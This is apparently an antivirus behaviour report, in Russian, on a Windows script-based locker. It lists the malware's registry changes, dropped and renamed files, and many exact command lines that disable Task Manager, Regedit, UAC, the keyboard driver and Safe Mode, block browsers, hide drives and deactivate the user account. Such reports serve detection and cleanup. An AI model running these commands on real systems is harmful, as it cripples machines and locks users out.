Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'AntiVir' = '<SYSTEM32>\antivir.vbs'
Вредоносные функции:
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Редактора реестра (RegEdit)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
Запускает на исполнение:
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoCommonGroups /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoCommonGroups /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoShellSearchButton /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoShellSearchButton /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFileAssociate /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFileAssociate /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 4 /t REG_SZ /d opera.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 5 /t REG_SZ /d taskmgr.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 6 /t REG_SZ /d utilman.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWelcomeScreen /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWelcomeScreen /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSaveSettings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\.ico /f
- '<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\.txt /f
- '<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\.jpg /f
- '<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\.dll /f
- '<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\.avi /f
- '<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\.doc /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' /pid=3396
- '<SYSTEM32>\reg.exe' delete HKEY_CLASSES_ROOT\.jpeg /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 7 /t REG_SZ /d regedit.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 7 /t REG_SZ /d regedit.exe /f
- '<SYSTEM32>\wscript.exe' delete HKEY_CLASSES_ROOT\.lnk /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSaveSettings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' /pid=3208
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\Kbdclass" /v Start /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f
- '<SYSTEM32>\shutdown.exe' -r -t 0
- '<SYSTEM32>\tasklist.exe' /fi "imagename eq taskmgr.exe" /nh
- '<SYSTEM32>\shutdown.exe' /r /t 0
- '<SYSTEM32>\findstr.exe' /bic:"taskmgr.exe"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run /v AntiVir /t REG_SZ /d "<SYSTEM32>\antivir.vbs" /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
- '<SYSTEM32>\tasklist.exe' /fi "imagename eq regedit.exe" /nh
- '<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /f
- '<SYSTEM32>\net1.exe' user %USERNAME% /active:no
- '<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /f
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\reg_clean.bat" "
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\rhd_78408.vbs"
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\rhd_78403.vbs"
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\rhd_78409.vbs"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\Virus-Setup.bat" "
- '<SYSTEM32>\rundll32.exe' user32,SwapMouseButton
- '<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\taskkill.bat" "
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 30000
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 1000 > nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\currentcontrolset\control\safeboot\minimal" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\control\safeboot\network" /f
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\rundll.bat" "
- '<SYSTEM32>\findstr.exe' /bic:"regedit.exe"
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_SZ /d firefox.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_SZ /d iexplore.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t REG_SZ /d chrome.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_SZ /d firefox.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_SZ /d iexplore.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t REG_SZ /d chrome.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 4 /t REG_SZ /d opera.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 5 /t REG_SZ /d taskmgr.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 6 /t REG_SZ /d utilman.exe /f
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 1000
- '<SYSTEM32>\tasklist.exe' /fi "imagename eq utilman.exe" /nh
- '<SYSTEM32>\findstr.exe' /bic:"utilman.exe"
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 67108863 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 67108863 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\tasklist.exe' /fi "imagename eq procmon.exe" /nh
- '<SYSTEM32>\findstr.exe' /bic:"procmon.exe"
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\wscript.exe
Изменяет следующие настройки проводника Windows (Windows Explorer):
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoSetTaskbar' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSetTaskbar' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoSetFolders' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSetFolders' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoShellSearchButton' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoCommonGroups' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoStartMenuSubFolders' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoShellSearchButton' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoCommonGroups' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSaveSettings' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoClose' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoLogOff' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogOff' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoFind' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoSaveSettings' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFind' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoRun' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoChangeStartMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoControlPanel' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoChangeStartMenu' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoViewContextMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewContextMenu' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoDrives' = '03FFFFFF'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDrives' = '03FFFFFF'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'DisallowRun' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoTrayContextMenu' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoViewOnDrive' = '03FFFFFF'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuSubFolders' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoTrayContextMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewOnDrive' = '03FFFFFF'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoDesktop' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'StartMenuLogOff' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
Пытается завершить работу операционной системы Windows.
Изменения в файловой системе:
Создает следующие файлы:
- <SYSTEM32>\driver\rundll.bat
- <SYSTEM32>\driver\sys_clean.bat
- <SYSTEM32>\driver\reg_clean.bat
- <SYSTEM32>\driver\rhd\rhd_78401.vbs
- <SYSTEM32>\driver\frstrn.bat
- <SYSTEM32>\driver\taskkill.bat
- <SYSTEM32>\driver\utilman.bat
- <SYSTEM32>\driver\win32k.bat
- <SYSTEM32>\driver\sys_debug.bat
- <SYSTEM32>\driver\win64k.bat
- <SYSTEM32>\driver\rhd\rhd_78408.vbs
- <SYSTEM32>\driver\rhd\rhd_78407.vbs
- <SYSTEM32>\driver\rhd\rhd_78409.vbs
- %TEMP%\message.vbs
- <SYSTEM32>\driver\rhd\antivir.vbs
- <SYSTEM32>\driver\rhd\rhd_78403.vbs
- <SYSTEM32>\driver\rhd\rhd_78402.vbs
- <SYSTEM32>\driver\rhd\rhd_78404.vbs
- <SYSTEM32>\driver\rhd\rhd_78406.vbs
- <SYSTEM32>\driver\rhd\rhd_78405.vbs
- <SYSTEM32>\antivir.vbs
- <SYSTEM32>\sys_debug.bat
- <SYSTEM32>\win64k.bat
- <SYSTEM32>\sys_clean.bat
- <SYSTEM32>\reg_clean.bat
- <SYSTEM32>\rundll.bat
- <SYSTEM32>\chkdsk.bat
- %TEMP%\1.tmp\Virus-Setup.bat
- <SYSTEM32>\utilman.bat
- <SYSTEM32>\win32k.bat
- <SYSTEM32>\taskkill.bat
- <SYSTEM32>\rhd_78406.vbs
- <SYSTEM32>\rhd_78405.vbs
- <SYSTEM32>\rhd_78407.vbs
- <SYSTEM32>\rhd_78409.vbs
- <SYSTEM32>\rhd_78408.vbs
- <SYSTEM32>\rhd_78401.vbs
- <SYSTEM32>\frstrn.bat
- <SYSTEM32>\rhd_78402.vbs
- <SYSTEM32>\rhd_78404.vbs
- <SYSTEM32>\rhd_78403.vbs
Удаляет следующие файлы:
- %TEMP%\1.tmp\Virus-Setup.bat
Перемещает следующие файлы:
- <SYSTEM32>\driver\rhd\rhd_78404.vbs в <SYSTEM32>\driver\rhd\21041315875562563189724.vbs
- <SYSTEM32>\driver\rhd\rhd_78405.vbs в <SYSTEM32>\driver\rhd\842331911662624429274015.vbs
- <SYSTEM32>\driver\rhd\rhd_78402.vbs в <SYSTEM32>\driver\rhd\3841427790862371811222.vbs
- <SYSTEM32>\driver\rhd\rhd_78403.vbs в <SYSTEM32>\driver\rhd\3149222347944327655167113.vbs
- <SYSTEM32>\driver\rhd\rhd_78406.vbs в <SYSTEM32>\driver\rhd\22450139952881511623108876.vbs
- <SYSTEM32>\driver\rhd\rhd_78409.vbs в <SYSTEM32>\driver\rhd\263881992816336137277889.vbs
- <SYSTEM32>\driver\rhd\antivir.vbs в <SYSTEM32>\driver\rhd\25076150463552865631890.vbs
- <SYSTEM32>\driver\rhd\rhd_78407.vbs в <SYSTEM32>\driver\rhd\32418114051587510797280307.vbs
- <SYSTEM32>\driver\rhd\rhd_78408.vbs в <SYSTEM32>\driver\rhd\40516378201135960109628.vbs
- <SYSTEM32>\driver\rhd\rhd_78401.vbs в <SYSTEM32>\driver\rhd\174641270399756643258321.vbs
- <SYSTEM32>\driver\win32k.bat в <SYSTEM32>\driver\30372266874575921258044.bat
- <SYSTEM32>\driver\win64k.bat в <SYSTEM32>\driver\22403205053099530501159665.bat
- <SYSTEM32>\driver\utilman.bat в <SYSTEM32>\driver\162862058726646067319362.bat
- <SYSTEM32>\driver\taskkill.bat в <SYSTEM32>\driver\1093615780209541018246423.bat
- <SYSTEM32>\driver\sys_debug.bat в <SYSTEM32>\driver\24341106792142418332102376.bat
- <SYSTEM32>\driver\reg_clean.bat в <SYSTEM32>\driver\18527278352632312083116589.bat
- <SYSTEM32>\driver\frstrn.bat в <SYSTEM32>\driver\3118256553102313955244140.bat
- <SYSTEM32>\driver\sys_clean.bat в <SYSTEM32>\driver\238972277830054279177.bat
- <SYSTEM32>\driver\rundll.bat в <SYSTEM32>\driver\2404912739156922218092068.bat
Изменяет файл HOSTS.
Другое:
Ищет следующие окна:
- ClassName: 'Indicator' WindowName: ''
